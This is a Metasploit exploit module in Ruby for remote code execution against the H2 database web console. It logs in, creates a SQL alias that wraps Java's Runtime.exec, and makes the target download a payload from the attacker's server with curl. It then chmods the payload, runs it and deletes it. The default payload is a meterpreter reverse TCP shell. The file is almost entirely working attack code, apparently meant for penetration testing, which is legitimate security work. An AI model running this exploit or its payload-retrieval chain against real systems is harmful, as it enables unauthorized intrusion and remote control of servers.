##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'H2 Web Interface Create Alias RCE',
        'Description' => %q{
          The H2 database contains an alias function which allows for arbitrary Java code to be used.
          This functionality can be abused to create an exec functionality to pull our payload down
          and execute it. H2's web interface contains restricts MANY characters, so injecting a payload
          directly is not favorable. A valid database connection is required. If the database engine
          was configured to allow creation of databases, the module default can be used which
          utilizes an in memory database. Some Docker instances of H2 don't allow writing to
          folders such as /tmp, so we default to writing to the working directory of the software.

          This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'gambler', # edb 44422
          'h4ckNinja', # edb 45506
          'Nairuz Abulhul' # medium write-up
        ],
        'References' => [
          [ 'EDB', '44422'],
          [ 'EDB', '45506'],
          [ 'URL', 'https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2'],
          [ 'URL', 'https://www.h2database.com/html/commands.html#create_alias']
        ],
        'Stance' => Stance::Aggressive,
        'Platform' => 'unix',
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Payload' => {
          # likely more, these aren't really used now that we go with a curl
          # to retrieve our payload, but leaving here for future travelers
          'BadChars' => '"<>;|`\\'
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2018-04-09', # first EDB link, prob older since this seems to be a 'feature'
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'NOCVE' => ['abusing a feature']
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8082),
        OptString.new('USERNAME', [ true, 'User to login with', '']),
        OptString.new('PASSWORD', [ true, 'Password to login with', '']),
        OptString.new('DATABASE', [ true, 'Database to use', 'jdbc:h2:mem:']),
        OptString.new('TARGETURI', [ true, 'The URI of the H2 web interface', '/']),
        OptBool.new('GETVERSION', [ true, 'Get the version of the database before exploiting', true])
      ]
    )
  end

  def get_jsessionid
    vprint_status('Obtaining jsessionid (cookie equivalent)')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsp'),
      'method' => 'GET'
    )
    return nil if res.nil?
    return nil unless res.code == 200

    if res.body =~ /location.href = 'login\.jsp\?jsessionid=([^']+)';/
      vprint_good("jsessionid (cookie equivalent): #{Regexp.last_match(1)}")
      return Regexp.last_match(1)
    else
      return nil
    end
  end

  def login(check_only: false)
    page = 'login.do'
    if check_only
      page = 'test.do'
    end
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, page),
      'method' => 'POST',
      'vars_get' => {
        'jsessionid' => @jsessionid
      },
      'vars_post' => {
        'language' => 'en',
        'setting' => 'Generic+H2+%28Server%29',
        'name' => 'Generic+H2+%28Server%29',
        'driver' => 'org.h2.Driver',
        'url' => datastore['DATABASE'],
        'user' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })
  end

  def check
    @jsessionid = get_jsessionid

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login.jsp'),
      'method' => 'GET',
      'vars_get' => {
        'jsessionid' => @jsessionid
      }
    })
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
    return CheckCode::Unknown("#{peer} - H2 web interface not found") unless res.body.include? '<title>H2 Console</title>'

    print_status("Detected autofilled DB: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="url" value="([^"]+)"/
    print_status("Detected autofilled Username: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="user" value="([^"]+)"/
    res = login(check_only: true)
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    return CheckCode::Vulnerable("#{peer} - H2 web interface found, and database connection successful") if res.body.include? 'Test successful'

    CheckCode::Safe("#{peer} - H2 web interface found, however database connection NOT successful")
  end

  def send_command(command)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'query.do'),
      'method' => 'POST',
      'vars_get' => {
        'jsessionid' => @jsessionid
      },
      'vars_post' => {
        'sql' => command
      }
    })
    return nil if res.nil?
    return nil if res.code != 200

    res.body
  end

  def get_version
    version = send_command('SELECT H2VERSION() FROM DUAL;')
    # regex likely to break on version upgrades unfortunately
    if version =~ %r{<table class="resultSet" cellspacing="0" cellpadding="0"><tr><th>H2VERSION\(\)</th></tr><tr><td>([^<]+)</td></tr></table>}
      print_good("H2 Version detected: #{Regexp.last_match(1)}")
      return
    end
    print_error('Unable to detect version')
  end

  def on_request_uri(cli, _request)
    print_good('Received payload request')
    send_response(cli, payload.encoded)
  end

  def exploit
    @jsessionid ||= get_jsessionid

    res = login
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    if datastore['GETVERSION']
      get_version
    end

    start_service
    alias_name = Rex::Text.rand_text_alpha_upper(6..12)
    alias_function = %|CREATE ALIAS #{alias_name} AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;|
    # escape single quotes with double single quotes, http://www.h2database.com/html/grammar.html
    payload_name = "#{Rex::Text.rand_text_alphanumeric(6..10)}.sh"
    vprint_status("Saving payload as #{payload_name}")
    run_alias = "CALL #{alias_name}('curl #{get_uri} -o #{payload_name}');
      CALL #{alias_name}('chmod a+x #{payload_name}');
      CALL #{alias_name}('./#{payload_name} &');
      CALL #{alias_name}('rm -rf #{payload_name}');"
    delete_alias = "DROP ALIAS #{alias_name};"
    print_status('Attempting to execute payload retrieval')
    send_command("#{alias_function} #{run_alias} #{delete_alias}")
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end